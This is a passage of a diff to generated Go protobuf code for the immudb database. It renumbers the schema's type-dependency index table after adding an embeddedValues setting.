130: immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry + nil, // 131: immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry + nil, // 132: immudb.schema.VerifiableSQLEntry.ColLenByIdEntry + nil, // 133: immudb.schema.Chunk.MetadataEntry + nil, // 134: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry + nil, // 135: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry + (structpb.NullValue)(0), // 136: google.protobuf.NullValue + (*emptypb.Empty)(nil), // 137: google.protobuf.Empty } var file_schema_proto_depIdxs = []int32{ 4, // 0: immudb.schema.User.permissions:type_name -> immudb.schema.Permission @@ -10689,218 +10703,219 @@ var file_schema_proto_depIdxs = []int32{ 77, // 84: immudb.schema.DatabaseNullableSettings.mvccReadSetLimit:type_name -> immudb.schema.NullableUint32 77, // 85: immudb.schema.DatabaseNullableSettings.vLogCacheSize:type_name -> immudb.schema.NullableUint32 85, // 86: immudb.schema.DatabaseNullableSettings.truncationSettings:type_name -> immudb.schema.TruncationNullableSettings - 80, // 87: immudb.schema.ReplicationNullableSettings.replica:type_name -> immudb.schema.NullableBool - 81, // 88: immudb.schema.ReplicationNullableSettings.primaryDatabase:type_name -> immudb.schema.NullableString - 81, // 89: immudb.schema.ReplicationNullableSettings.primaryHost:type_name -> immudb.schema.NullableString - 77, // 90: immudb.schema.ReplicationNullableSettings.primaryPort:type_name -> immudb.schema.NullableUint32 - 81, // 91: immudb.schema.ReplicationNullableSettings.primaryUsername:type_name -> immudb.schema.NullableString - 81, // 92: immudb.schema.ReplicationNullableSettings.primaryPassword:type_name -> immudb.schema.NullableString - 80, // 93: immudb.schema.ReplicationNullableSettings.syncReplication:type_name -> immudb.schema.NullableBool - 77, // 94: immudb.schema.ReplicationNullableSettings.syncAcks:type_name -> immudb.schema.NullableUint32 - 77, // 95: immudb.schema.ReplicationNullableSettings.prefetchTxBufferSize:type_name -> immudb.schema.NullableUint32 - 77, // 96: immudb.schema.ReplicationNullableSettings.replicationCommitConcurrency:type_name -> immudb.schema.NullableUint32 - 80, // 97: immudb.schema.ReplicationNullableSettings.allowTxDiscarding:type_name -> immudb.schema.NullableBool - 80, // 98: immudb.schema.ReplicationNullableSettings.skipIntegrityCheck:type_name -> immudb.schema.NullableBool - 80, // 99: immudb.schema.ReplicationNullableSettings.waitForIndexing:type_name -> immudb.schema.NullableBool - 82, // 100: immudb.schema.TruncationNullableSettings.retentionPeriod:type_name -> immudb.schema.NullableMilliseconds - 82, // 101: immudb.schema.TruncationNullableSettings.truncationFrequency:type_name -> immudb.schema.NullableMilliseconds - 77, // 102: immudb.schema.IndexNullableSettings.flushThreshold:type_name -> immudb.schema.NullableUint32 - 77, // 103: immudb.schema.IndexNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 - 77, // 104: immudb.schema.IndexNullableSettings.cacheSize:type_name -> immudb.schema.NullableUint32 - 77, // 105: immudb.schema.IndexNullableSettings.maxNodeSize:type_name -> immudb.schema.NullableUint32 - 77, // 106: immudb.schema.IndexNullableSettings.maxActiveSnapshots:type_name -> immudb.schema.NullableUint32 - 78, // 107: immudb.schema.IndexNullableSettings.renewSnapRootAfter:type_name -> immudb.schema.NullableUint64 - 77, // 108: immudb.schema.IndexNullableSettings.compactionThld:type_name -> immudb.schema.NullableUint32 - 77, // 109: immudb.schema.IndexNullableSettings.delayDuringCompaction:type_name -> immudb.schema.NullableUint32 - 77, // 110: immudb.schema.IndexNullableSettings.nodesLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 - 77, // 111: immudb.schema.IndexNullableSettings.historyLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 - 77, // 112: immudb.schema.IndexNullableSettings.commitLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 - 77, // 113: immudb.schema.IndexNullableSettings.flushBufferSize:type_name -> immudb.schema.NullableUint32 - 79, // 114: immudb.schema.IndexNullableSettings.cleanupPercentage:type_name -> immudb.schema.NullableFloat - 77, // 115: immudb.schema.IndexNullableSettings.maxBulkSize:type_name -> immudb.schema.NullableUint32 - 82, // 116: immudb.schema.IndexNullableSettings.bulkPreparationTimeout:type_name -> immudb.schema.NullableMilliseconds - 77, // 117: immudb.schema.AHTNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 - 77, // 118: immudb.schema.AHTNullableSettings.writeBufferSize:type_name -> immudb.schema.NullableUint32 - 118, // 119: immudb.schema.SQLGetRequest.pkValues:type_name -> immudb.schema.SQLValue - 97, // 120: immudb.schema.VerifiableSQLGetRequest.sqlGetRequest:type_name -> immudb.schema.SQLGetRequest - 37, // 121: immudb.schema.SQLEntry.metadata:type_name -> immudb.schema.KVMetadata - 99, // 122: immudb.schema.VerifiableSQLEntry.sqlEntry:type_name -> immudb.schema.SQLEntry - 39, // 123: immudb.schema.VerifiableSQLEntry.verifiableTx:type_name -> immudb.schema.VerifiableTx - 42, // 124: immudb.schema.VerifiableSQLEntry.inclusionProof:type_name -> immudb.schema.InclusionProof - 129, // 125: immudb.schema.VerifiableSQLEntry.ColNamesById:type_name -> immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry - 130, // 126: immudb.schema.VerifiableSQLEntry.ColIdsByName:type_name -> immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry - 131, // 127: immudb.schema.VerifiableSQLEntry.ColTypesById:type_name -> immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry - 132, // 128: immudb.schema.VerifiableSQLEntry.ColLenById:type_name -> immudb.schema.VerifiableSQLEntry.ColLenByIdEntry - 1, // 129: immudb.schema.ChangePermissionRequest.action:type_name -> immudb.schema.PermissionAction - 69, // 130: immudb.schema.DatabaseListResponse.databases:type_name -> immudb.schema.Database - 107, // 131: immudb.schema.DatabaseListResponseV2.databases:type_name -> immudb.schema.DatabaseWithSettings - 83, // 132: immudb.schema.DatabaseWithSettings.settings:type_name -> immudb.schema.DatabaseNullableSettings - 133, // 133: immudb.schema.Chunk.metadata:type_name -> immudb.schema.Chunk.MetadataEntry - 112, // 134: immudb.schema.SQLExecRequest.params:type_name -> immudb.schema.NamedParam - 112, // 135: immudb.schema.SQLQueryRequest.params:type_name -> immudb.schema.NamedParam - 118, // 136: immudb.schema.NamedParam.value:type_name -> immudb.schema.SQLValue - 114, // 137: immudb.schema.SQLExecResult.txs:type_name -> immudb.schema.CommittedSQLTx - 29, // 138: immudb.schema.CommittedSQLTx.header:type_name -> immudb.schema.TxHeader - 134, // 139: immudb.schema.CommittedSQLTx.lastInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.LastInsertedPKsEntry - 135, // 140: immudb.schema.CommittedSQLTx.firstInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry - 116, // 141: immudb.schema.SQLQueryResult.columns:type_name -> immudb.schema.Column - 117, // 142: immudb.schema.SQLQueryResult.rows:type_name -> immudb.schema.Row - 118, // 143: immudb.schema.Row.values:type_name -> immudb.schema.SQLValue - 136, // 144: immudb.schema.SQLValue.null:type_name -> google.protobuf.NullValue - 2, // 145: immudb.schema.NewTxRequest.mode:type_name -> immudb.schema.TxMode - 78, // 146: immudb.schema.NewTxRequest.snapshotMustIncludeTxID:type_name -> immudb.schema.NullableUint64 - 82, // 147: immudb.schema.NewTxRequest.snapshotRenewalPeriod:type_name -> immudb.schema.NullableMilliseconds - 118, // 148: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue - 118, // 149: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue - 137, // 150: immudb.schema.ImmuService.ListUsers:input_type -> google.protobuf.Empty - 7, // 151: immudb.schema.ImmuService.CreateUser:input_type -> immudb.schema.CreateUserRequest - 9, // 152: immudb.schema.ImmuService.ChangePassword:input_type -> immudb.schema.ChangePasswordRequest - 102, // 153: immudb.schema.ImmuService.ChangePermission:input_type -> immudb.schema.ChangePermissionRequest - 103, // 154: immudb.schema.ImmuService.SetActiveUser:input_type -> immudb.schema.SetActiveUserRequest - 12, // 155: immudb.schema.ImmuService.UpdateAuthConfig:input_type -> immudb.schema.AuthConfig - 13, // 156: immudb.schema.ImmuService.UpdateMTLSConfig:input_type -> immudb.schema.MTLSConfig - 14, // 157: immudb.schema.ImmuService.OpenSession:input_type -> immudb.schema.OpenSessionRequest - 137, // 158: immudb.schema.ImmuService.CloseSession:input_type -> google.protobuf.Empty - 137, // 159: immudb.schema.ImmuService.KeepAlive:input_type -> google.protobuf.Empty - 119, // 160: immudb.schema.ImmuService.NewTx:input_type -> immudb.schema.NewTxRequest - 137, // 161: immudb.schema.ImmuService.Commit:input_type -> google.protobuf.Empty - 137, // 162: immudb.schema.ImmuService.Rollback:input_type -> google.protobuf.Empty - 110, // 163: immudb.schema.ImmuService.TxSQLExec:input_type -> immudb.schema.SQLExecRequest - 111, // 164: immudb.schema.ImmuService.TxSQLQuery:input_type -> immudb.schema.SQLQueryRequest - 10, // 165: immudb.schema.ImmuService.Login:input_type -> immudb.schema.LoginRequest - 137, // 166: immudb.schema.ImmuService.Logout:input_type -> google.protobuf.Empty - 43, // 167: immudb.schema.ImmuService.Set:input_type -> immudb.schema.SetRequest - 47, // 168: immudb.schema.ImmuService.VerifiableSet:input_type -> immudb.schema.VerifiableSetRequest - 44, // 169: immudb.schema.ImmuService.Get:input_type -> immudb.schema.KeyRequest - 48, // 170: immudb.schema.ImmuService.VerifiableGet:input_type -> immudb.schema.VerifiableGetRequest - 46, // 171: immudb.schema.ImmuService.Delete:input_type -> immudb.schema.DeleteKeysRequest - 45, // 172: immudb.schema.ImmuService.GetAll:input_type -> immudb.schema.KeyListRequest - 21, // 173: immudb.schema.ImmuService.ExecAll:input_type -> immudb.schema.ExecAllRequest - 25, // 174: immudb.schema.ImmuService.Scan:input_type -> immudb.schema.ScanRequest - 26, // 175: immudb.schema.ImmuService.Count:input_type -> immudb.schema.KeyPrefix - 137, // 176: immudb.schema.ImmuService.CountAll:input_type -> google.protobuf.Empty - 61, // 177: immudb.schema.ImmuService.TxById:input_type -> immudb.schema.TxRequest - 64, // 178: immudb.schema.ImmuService.VerifiableTxById:input_type -> immudb.schema.VerifiableTxRequest - 65, // 179: immudb.schema.ImmuService.TxScan:input_type -> immudb.schema.TxScanRequest - 59, // 180: immudb.schema.ImmuService.History:input_type -> immudb.schema.HistoryRequest - 49, // 181: immudb.schema.ImmuService.ServerInfo:input_type -> immudb.schema.ServerInfoRequest - 137, // 182: immudb.schema.ImmuService.Health:input_type -> google.protobuf.Empty - 137, // 183: immudb.schema.ImmuService.DatabaseHealth:input_type -> google.protobuf.Empty - 137, // 184: immudb.schema.ImmuService.CurrentState:input_type -> google.protobuf.Empty - 54, // 185: immudb.schema.ImmuService.SetReference:input_type -> immudb.schema.ReferenceRequest - 55, // 186: immudb.schema.ImmuService.VerifiableSetReference:input_type -> immudb.schema.VerifiableReferenceRequest - 56, // 187: immudb.schema.ImmuService.ZAdd:input_type -> immudb.schema.ZAddRequest - 60, // 188: immudb.schema.ImmuService.VerifiableZAdd:input_type -> immudb.schema.VerifiableZAddRequest - 58, // 189: immudb.schema.ImmuService.ZScan:input_type -> immudb.schema.ZScanRequest - 69, // 190: immudb.schema.ImmuService.CreateDatabase:input_type -> immudb.schema.Database - 70, // 191: immudb.schema.ImmuService.CreateDatabaseWith:input_type -> immudb.schema.DatabaseSettings - 71, // 192: immudb.schema.ImmuService.CreateDatabaseV2:input_type -> immudb.schema.CreateDatabaseRequest - 88, // 193: immudb.schema.ImmuService.LoadDatabase:input_type -> immudb.schema.LoadDatabaseRequest - 90, // 194: immudb.schema.ImmuService.UnloadDatabase:input_type -> immudb.schema.UnloadDatabaseRequest - 92, // 195: immudb.schema.ImmuService.DeleteDatabase:input_type -> immudb.schema.DeleteDatabaseRequest - 137, // 196: immudb.schema.ImmuService.DatabaseList:input_type -> google.protobuf.Empty - 105, // 197: immudb.schema.ImmuService.DatabaseListV2:input_type -> immudb.schema.DatabaseListRequestV2 - 69, // 198: immudb.schema.ImmuService.UseDatabase:input_type -> immudb.schema.Database - 70, // 199: immudb.schema.ImmuService.UpdateDatabase:input_type -> immudb.schema.DatabaseSettings - 73, // 200: immudb.schema.ImmuService.UpdateDatabaseV2:input_type -> immudb.schema.UpdateDatabaseRequest - 137, // 201: immudb.schema.ImmuService.GetDatabaseSettings:input_type -> google.protobuf.Empty - 75, // 202: immudb.schema.ImmuService.GetDatabaseSettingsV2:input_type -> immudb.schema.DatabaseSettingsRequest - 94, // 203: immudb.schema.ImmuService.FlushIndex:input_type -> immudb.schema.FlushIndexRequest - 137, // 204: immudb.schema.ImmuService.CompactIndex:input_type -> google.protobuf.Empty - 44, // 205: immudb.schema.ImmuService.streamGet:input_type -> immudb.schema.KeyRequest - 108, // 206: immudb.schema.ImmuService.streamSet:input_type -> immudb.schema.Chunk - 48, // 207: immudb.schema.ImmuService.streamVerifiableGet:input_type -> immudb.schema.VerifiableGetRequest - 108, // 208: immudb.schema.ImmuService.streamVerifiableSet:input_type -> immudb.schema.Chunk - 25, // 209: immudb.schema.ImmuService.streamScan:input_type -> immudb.schema.ScanRequest - 58, // 210: immudb.schema.ImmuService.streamZScan:input_type -> immudb.schema.ZScanRequest - 59, // 211: immudb.schema.ImmuService.streamHistory:input_type -> immudb.schema.HistoryRequest - 108, // 212: immudb.schema.ImmuService.streamExecAll:input_type -> immudb.schema.Chunk - 67, // 213: immudb.schema.ImmuService.exportTx:input_type -> immudb.schema.ExportTxRequest - 108, // 214: immudb.schema.ImmuService.replicateTx:input_type -> immudb.schema.Chunk - 67, // 215: immudb.schema.ImmuService.streamExportTx:input_type -> immudb.schema.ExportTxRequest - 110, // 216: immudb.schema.ImmuService.SQLExec:input_type -> immudb.schema.SQLExecRequest - 111, // 217: immudb.schema.ImmuService.SQLQuery:input_type -> immudb.schema.SQLQueryRequest - 137, // 218: immudb.schema.ImmuService.ListTables:input_type -> google.protobuf.Empty - 96, // 219: immudb.schema.ImmuService.DescribeTable:input_type -> immudb.schema.Table - 98, // 220: immudb.schema.ImmuService.VerifiableSQLGet:input_type -> immudb.schema.VerifiableSQLGetRequest - 124, // 221: immudb.schema.ImmuService.TruncateDatabase:input_type -> immudb.schema.TruncateDatabaseRequest - 6, // 222: immudb.schema.ImmuService.ListUsers:output_type -> immudb.schema.UserList - 137, // 223: immudb.schema.ImmuService.CreateUser:output_type -> google.protobuf.Empty - 137, // 224: immudb.schema.ImmuService.ChangePassword:output_type -> google.protobuf.Empty - 137, // 225: immudb.schema.ImmuService.ChangePermission:output_type -> google.protobuf.Empty - 137, // 226: immudb.schema.ImmuService.SetActiveUser:output_type -> google.protobuf.Empty - 137, // 227: immudb.schema.ImmuService.UpdateAuthConfig:output_type -> google.protobuf.Empty - 137, // 228: immudb.schema.ImmuService.UpdateMTLSConfig:output_type -> google.protobuf.Empty - 15, // 229: immudb.schema.ImmuService.OpenSession:output_type -> immudb.schema.OpenSessionResponse - 137, // 230: immudb.schema.ImmuService.CloseSession:output_type -> google.protobuf.Empty - 137, // 231: immudb.schema.ImmuService.KeepAlive:output_type -> google.protobuf.Empty - 120, // 232: immudb.schema.ImmuService.NewTx:output_type -> immudb.schema.NewTxResponse - 114, // 233: immudb.schema.ImmuService.Commit:output_type -> immudb.schema.CommittedSQLTx - 137, // 234: immudb.schema.ImmuService.Rollback:output_type -> google.protobuf.Empty - 137, // 235: immudb.schema.ImmuService.TxSQLExec:output_type -> google.protobuf.Empty - 115, // 236: immudb.schema.ImmuService.TxSQLQuery:output_type -> immudb.schema.SQLQueryResult - 11, // 237: immudb.schema.ImmuService.Login:output_type -> immudb.schema.LoginResponse - 137, // 238: immudb.schema.ImmuService.Logout:output_type -> google.protobuf.Empty - 29, // 239: immudb.schema.ImmuService.Set:output_type -> immudb.schema.TxHeader - 39, // 240: immudb.schema.ImmuService.VerifiableSet:output_type -> immudb.schema.VerifiableTx - 18, // 241: immudb.schema.ImmuService.Get:output_type -> immudb.schema.Entry - 41, // 242: immudb.schema.ImmuService.VerifiableGet:output_type -> immudb.schema.VerifiableEntry - 29, // 243: immudb.schema.ImmuService.Delete:output_type -> immudb.schema.TxHeader - 22, // 244: immudb.schema.ImmuService.GetAll:output_type -> immudb.schema.Entries - 29, // 245: immudb.schema.ImmuService.ExecAll:output_type -> immudb.schema.TxHeader - 22, // 246: immudb.schema.ImmuService.Scan:output_type -> immudb.schema.Entries - 27, // 247: immudb.schema.ImmuService.Count:output_type -> immudb.schema.EntryCount - 27, // 248: immudb.schema.ImmuService.CountAll:output_type -> immudb.schema.EntryCount - 35, // 249: immudb.schema.ImmuService.TxById:output_type -> immudb.schema.Tx - 39, // 250: immudb.schema.ImmuService.VerifiableTxById:output_type -> immudb.schema.VerifiableTx - 66, // 251: immudb.schema.ImmuService.TxScan:output_type -> immudb.schema.TxList - 22, // 252: immudb.schema.ImmuService.History:output_type -> immudb.schema.Entries - 50, // 253: immudb.schema.ImmuService.ServerInfo:output_type -> immudb.schema.ServerInfoResponse - 51, // 254: immudb.schema.ImmuService.Health:output_type -> immudb.schema.HealthResponse - 52, // 255: immudb.schema.ImmuService.DatabaseHealth:output_type -> immudb.schema.DatabaseHealthResponse - 53, // 256: immudb.schema.ImmuService.CurrentState:output_type -> immudb.schema.ImmutableState - 29, // 257: immudb.schema.ImmuService.SetReference:output_type -> immudb.schema.TxHeader - 39, // 258: immudb.schema.ImmuService.VerifiableSetReference:output_type -> immudb.schema.VerifiableTx - 29, // 259: immudb.schema.ImmuService.ZAdd:output_type -> immudb.schema.TxHeader - 39, // 260: immudb.schema.ImmuService.VerifiableZAdd:output_type -> immudb.schema.VerifiableTx - 24, // 261: immudb.schema.ImmuService.ZScan:output_type -> immudb.schema.ZEntries - 137, // 262: immudb.schema.ImmuService.CreateDatabase:output_type -> google.protobuf.Empty - 137, // 263: immudb.schema.ImmuService.CreateDatabaseWith:output_type -> google.protobuf.Empty - 72, // 264: immudb.schema.ImmuService.CreateDatabaseV2:output_type -> immudb.schema.CreateDatabaseResponse - 89, // 265: immudb.schema.ImmuService.LoadDatabase:output_type -> immudb.schema.LoadDatabaseResponse - 91, // 266: immudb.schema.ImmuService.UnloadDatabase:output_type -> immudb.schema.UnloadDatabaseResponse - 93, // 267: immudb.schema.ImmuService.DeleteDatabase:output_type -> immudb.schema.DeleteDatabaseResponse - 104, // 268: immudb.schema.ImmuService.DatabaseList:output_type -> immudb.schema.DatabaseListResponse - 106, // 269: immudb.schema.ImmuService.DatabaseListV2:output_type -> immudb.schema.DatabaseListResponseV2 - 101, // 270: immudb.schema.ImmuService.UseDatabase:output_type -> immudb.schema.UseDatabaseReply - 137, // 271: immudb.schema.ImmuService.UpdateDatabase:output_type -> google.protobuf.Empty - 74, // 272: immudb.schema.ImmuService.UpdateDatabaseV2:output_type -> immudb.schema.UpdateDatabaseResponse - 70, // 273: immudb.schema.ImmuService.GetDatabaseSettings:output_type -> immudb.schema.DatabaseSettings - 76, // 274: immudb.schema.ImmuService.GetDatabaseSettingsV2:output_type -> immudb.schema.DatabaseSettingsResponse - 95, // 275: immudb.schema.ImmuService.FlushIndex:output_type -> immudb.schema.FlushIndexResponse - 137, // 276: immudb.schema.ImmuService.CompactIndex:output_type -> google.protobuf.Empty - 108, // 277: immudb.schema.ImmuService.streamGet:output_type -> immudb.schema.Chunk - 29, // 278: immudb.schema.ImmuService.streamSet:output_type -> immudb.schema.TxHeader - 108, // 279: immudb.schema.ImmuService.streamVerifiableGet:output_type -> immudb.schema.Chunk - 39, // 280: immudb.schema.ImmuService.streamVerifiableSet:output_type -> immudb.schema.VerifiableTx - 108, // 281: immudb.schema.ImmuService.streamScan:output_type -> immudb.schema.Chunk - 108, // 282: immudb.schema.ImmuService.streamZScan:output_type -> immudb.schema.Chunk - 108, // 283: immudb.schema.ImmuService.streamHistory:output_type -> immudb.schema.Chunk - 29, // 284: immudb.schema.ImmuService.streamExecAll:output_type -> immudb.schema.TxHeader - 108, // 285: immudb.schema.ImmuService.exportTx:output_type -> immudb.schema.Chunk - 29, // 286: immudb.schema.ImmuService.replicateTx:output_type -> immudb.schema.TxHeader - 108, // 287: immudb.schema.ImmuService.streamExportTx:output_type -> immudb.schema.Chunk - 113, // 288: immudb.schema.ImmuService.SQLExec:output_type -> immudb.schema.SQLExecResult - 115, // 289: immudb.schema.ImmuService.SQLQuery:output_type -> immudb.schema.SQLQueryResult - 115, // 290: immudb.schema.ImmuService.ListTables:output_type -> immudb.schema.SQLQueryResult - 115, // 291: immudb.schema.ImmuService.DescribeTable:output_type -> immudb.schema.SQLQueryResult - 100, // 292: immudb.schema.ImmuService.VerifiableSQLGet:output_type -> immudb.schema.VerifiableSQLEntry - 125, // 293: immudb.schema.ImmuService.TruncateDatabase:output_type -> immudb.schema.TruncateDatabaseResponse - 222, // [222:294] is the sub-list for method output_type - 150, // [150:222] is the sub-list for method input_type - 150, // [150:150] is the sub-list for extension type_name - 150, // [150:150] is the sub-list for extension extendee - 0, // [0:150] is the sub-list for field type_name + 80, // 87: immudb.schema.DatabaseNullableSettings.embeddedValues:type_name -> immudb.schema.NullableBool + 80, // 88: immudb.schema.ReplicationNullableSettings.replica:type_name -> immudb.schema.NullableBool + 81, // 89: immudb.schema.ReplicationNullableSettings.primaryDatabase:type_name -> immudb.schema.NullableString + 81, // 90: immudb.schema.ReplicationNullableSettings.primaryHost:type_name -> immudb.schema.NullableString + 77, // 91: immudb.schema.ReplicationNullableSettings.primaryPort:type_name -> immudb.schema.NullableUint32 + 81, // 92: immudb.schema.ReplicationNullableSettings.primaryUsername:type_name -> immudb.schema.NullableString + 81, // 93: immudb.schema.ReplicationNullableSettings.primaryPassword:type_name -> immudb.schema.NullableString + 80, // 94: immudb.schema.ReplicationNullableSettings.syncReplication:type_name -> immudb.schema.NullableBool + 77, // 95: immudb.schema.ReplicationNullableSettings.syncAcks:type_name -> immudb.schema.NullableUint32 + 77, // 96: immudb.schema.ReplicationNullableSettings.prefetchTxBufferSize:type_name -> immudb.schema.NullableUint32 + 77, // 97: immudb.schema.ReplicationNullableSettings.replicationCommitConcurrency:type_name -> immudb.schema.NullableUint32 + 80, // 98: immudb.schema.ReplicationNullableSettings.allowTxDiscarding:type_name -> immudb.schema.NullableBool + 80, // 99: immudb.schema.ReplicationNullableSettings.skipIntegrityCheck:type_name -> immudb.schema.NullableBool + 80, // 100: immudb.schema.ReplicationNullableSettings.waitForIndexing:type_name -> immudb.schema.NullableBool + 82, // 101: immudb.schema.TruncationNullableSettings.retentionPeriod:type_name -> immudb.schema.NullableMilliseconds + 82, // 102: immudb.schema.TruncationNullableSettings.truncationFrequency:type_name -> immudb.schema.NullableMilliseconds + 77, // 103: immudb.schema.IndexNullableSettings.flushThreshold:type_name -> immudb.schema.NullableUint32 + 77, // 104: immudb.schema.IndexNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 + 77, // 105: immudb.schema.IndexNullableSettings.cacheSize:type_name -> immudb.schema.NullableUint32 + 77, // 106: immudb.schema.IndexNullableSettings.maxNodeSize:type_name -> immudb.schema.NullableUint32 + 77, // 107: immudb.schema.IndexNullableSettings.maxActiveSnapshots:type_name -> immudb.schema.NullableUint32 + 78, // 108: immudb.schema.IndexNullableSettings.renewSnapRootAfter:type_name -> immudb.schema.NullableUint64 + 77, // 109: immudb.schema.IndexNullableSettings.compactionThld:type_name -> immudb.schema.NullableUint32 + 77, // 110: immudb.schema.IndexNullableSettings.delayDuringCompaction:type_name -> immudb.schema.NullableUint32 + 77, // 111: immudb.schema.IndexNullableSettings.nodesLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 + 77, // 112: immudb.schema.IndexNullableSettings.historyLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 + 77, // 113: immudb.schema.IndexNullableSettings.commitLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 + 77, // 114: immudb.schema.IndexNullableSettings.flushBufferSize:type_name -> immudb.schema.NullableUint32 + 79, // 115: immudb.schema.IndexNullableSettings.cleanupPercentage:type_name -> immudb.schema.NullableFloat + 77, // 116: immudb.schema.IndexNullableSettings.maxBulkSize:type_name -> immudb.schema.NullableUint32 + 82, // 117: immudb.schema.IndexNullableSettings.bulkPreparationTimeout:type_name -> immudb.schema.NullableMilliseconds + 77, // 118: immudb.schema.AHTNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 + 77, // 119: immudb.schema.AHTNullableSettings.writeBufferSize:type_name -> immudb.schema.NullableUint32 + 118, // 120: immudb.schema.SQLGetRequest.pkValues:type_name -> immudb.schema.SQLValue + 97, // 121: immudb.schema.VerifiableSQLGetRequest.sqlGetRequest:type_name -> immudb.schema.SQLGetRequest + 37, // 122: immudb.schema.SQLEntry.metadata:type_name -> immudb.schema.KVMetadata + 99, // 123: immudb.schema.VerifiableSQLEntry.sqlEntry:type_name -> immudb.schema.SQLEntry + 39, // 124: immudb.schema.VerifiableSQLEntry.verifiableTx:type_name -> immudb.schema.VerifiableTx + 42, // 125: immudb.schema.VerifiableSQLEntry.inclusionProof:type_name -> immudb.schema.InclusionProof + 129, // 126: immudb.schema.VerifiableSQLEntry.ColNamesById:type_name -> immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry + 130, // 127: immudb.schema.VerifiableSQLEntry.ColIdsByName:type_name -> immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry + 131, // 128: immudb.schema.VerifiableSQLEntry.ColTypesById:type_name -> immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry + 132, // 129: immudb.schema.VerifiableSQLEntry.ColLenById:type_name -> immudb.schema.VerifiableSQLEntry.ColLenByIdEntry + 1, // 130: immudb.schema.ChangePermissionRequest.action:type_name -> immudb.schema.PermissionAction + 69, // 131: immudb.schema.DatabaseListResponse.databases:type_name -> immudb.schema.Database + 107, // 132: immudb.schema.DatabaseListResponseV2.databases:type_name -> immudb.schema.DatabaseWithSettings + 83, // 133: immudb.schema.DatabaseWithSettings.settings:type_name -> immudb.schema.DatabaseNullableSettings + 133, // 134: immudb.schema.Chunk.metadata:type_name -> immudb.schema.Chunk.MetadataEntry + 112, // 135: immudb.schema.SQLExecRequest.params:type_name -> immudb.schema.NamedParam + 112, // 136: immudb.schema.SQLQueryRequest.params:type_name -> immudb.schema.NamedParam + 118, // 137: immudb.schema.NamedParam.value:type_name -> immudb.schema.SQLValue + 114, // 138: immudb.schema.SQLExecResult.txs:type_name -> immudb.schema.CommittedSQLTx + 29, // 139: immudb.schema.CommittedSQLTx.header:type_name -> immudb.schema.TxHeader + 134, // 140: immudb.schema.CommittedSQLTx.lastInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.LastInsertedPKsEntry + 135, // 141: immudb.schema.CommittedSQLTx.firstInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry + 116, // 142: immudb.schema.SQLQueryResult.columns:type_name -> immudb.schema.Column + 117, // 143: immudb.schema.SQLQueryResult.rows:type_name -> immudb.schema.Row + 118, // 144: immudb.schema.Row.values:type_name -> immudb.schema.SQLValue + 136, // 145: immudb.schema.SQLValue.null:type_name -> google.protobuf.NullValue + 2, // 146: immudb.schema.NewTxRequest.mode:type_name -> immudb.schema.TxMode + 78, // 147: immudb.schema.NewTxRequest.snapshotMustIncludeTxID:type_name -> immudb.schema.NullableUint64 + 82, // 148: immudb.schema.NewTxRequest.snapshotRenewalPeriod:type_name -> immudb.schema.NullableMilliseconds + 118, // 149: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue + 118, // 150: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue + 137, // 151: immudb.schema.ImmuService.ListUsers:input_type -> google.protobuf.Empty + 7, // 152: immudb.schema.ImmuService.CreateUser:input_type -> immudb.schema.CreateUserRequest + 9, // 153: immudb.schema.ImmuService.ChangePassword:input_type -> immudb.schema.ChangePasswordRequest + 102, // 154: immudb.schema.ImmuService.ChangePermission:input_type -> immudb.schema.ChangePermissionRequest + 103, // 155: immudb.schema.ImmuService.SetActiveUser:input_type -> immudb.schema.SetActiveUserRequest + 12, // 156: immudb.schema.ImmuService.UpdateAuthConfig:input_type -> immudb.schema.AuthConfig + 13, // 157: immudb.schema.ImmuService.UpdateMTLSConfig:input_type -> immudb.schema.MTLSConfig + 14, // 158: immudb.schema.ImmuService.OpenSession:input_type -> immudb.schema.OpenSessionRequest + 137, // 159: immudb.schema.ImmuService.CloseSession:input_type -> google.protobuf.Empty + 137, // 160: immudb.schema.ImmuService.KeepAlive:input_type -> google.protobuf.Empty + 119, // 161: immudb.schema.ImmuService.NewTx:input_type -> immudb.schema.NewTxRequest + 137, // 162: immudb.schema.ImmuService.Commit:input_type -> google.protobuf.Empty + 137, // 163: immudb.schema.ImmuService.Rollback:input_type -> google.protobuf.Empty + 110, // 164: immudb.schema.ImmuService.TxSQLExec:input_type -> immudb.schema.SQLExecRequest + 111, // 165: immudb.schema.ImmuService.TxSQLQuery:input_type -> immudb.schema.SQLQueryRequest + 10, // 166: immudb.schema.ImmuService.Login:input_type -> immudb.schema.LoginRequest + 137, // 167: immudb.schema.ImmuService.Logout:input_type -> google.protobuf.Empty + 43, // 168: immudb.schema.ImmuService.Set:input_type -> immudb.schema.SetRequest + 47, // 169: immudb.schema.ImmuService.VerifiableSet:input_type -> immudb.schema.VerifiableSetRequest + 44, // 170: immudb.schema.ImmuService.Get:input_type -> immudb.schema.KeyRequest + 48, // 171: immudb.schema.ImmuService.VerifiableGet:input_type -> immudb.schema.VerifiableGetRequest + 46, // 172: immudb.schema.ImmuService.Delete:input_type -> 